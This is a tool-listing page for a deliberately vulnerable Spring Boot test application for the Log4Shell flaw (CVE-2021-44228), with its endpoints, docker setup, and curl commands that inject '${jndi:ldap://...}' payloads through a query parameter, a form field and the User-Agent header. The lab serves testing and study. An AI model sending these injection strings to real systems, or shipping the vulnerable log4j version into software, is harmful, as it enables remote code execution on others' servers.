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log4j2-vulnerable-spring-app — CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/zzzz0317/log4j2-vulnerable-spring-app
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GitHubzzzz0317/log4j2-vulnerable-spring-app

log4j2-vulnerable-spring-app

CVE-2021-44228

View Repository
424 years agoNot yet reviewed

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Log4j 2 CVE-2021-44228 Test Sample Application

Based on spring-boot-starter-log4j2:2.6.1 (log4j 2.14.1)

Available Endpoints

Download Tool
EndpointHTTP MethodParameters
vulnerable_request_getGETv=payload
vulnerable_request_postPOSTv=payload
vulnerable_request_header_uaGET / POSTHeader User-Agent

Testing

  • GET
root@kitploit:~
$ curl 'http://[targetIP]:8080/vulnerable_request_get?v=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%2Ffake%7D'
{"method":"vulnerable_request_get","payload":"${jndi:ldap://127.0.0.1/fake}"}
  • POST
root@kitploit:~
$ curl -X POST -F 'v=${jndi:ldap://127.0.0.1/fake}' 'http://[targetIP]:8080/vulnerable_request_post'
{"method":"vulnerable_request_post","payload":"${jndi:ldap://127.0.0.1/fake}"}
  • User-Agent
root@kitploit:~
$ curl 'http://[targetIP]:8080/vulnerable_request_header_ua' --user-agent '${jndi:ldap://127.0.0.1/fake}'
{"method":"vulnerable_request_header_ua","payload":"${jndi:ldap://127.0.0.1/fake}"}

Quick Start

root@kitploit:~
docker run -p 8080:8080 ghcr.io/zzzz0317/log4j2-vulnerable-spring-app:latest

Note: This image is based on openjdk:8u111-jdk

Build Image

root@kitploit:~
docker build -t log4j2-vulnerable-spring-app:latest .
docker run -p 8080:8080 log4j2-vulnerable-spring-app:latest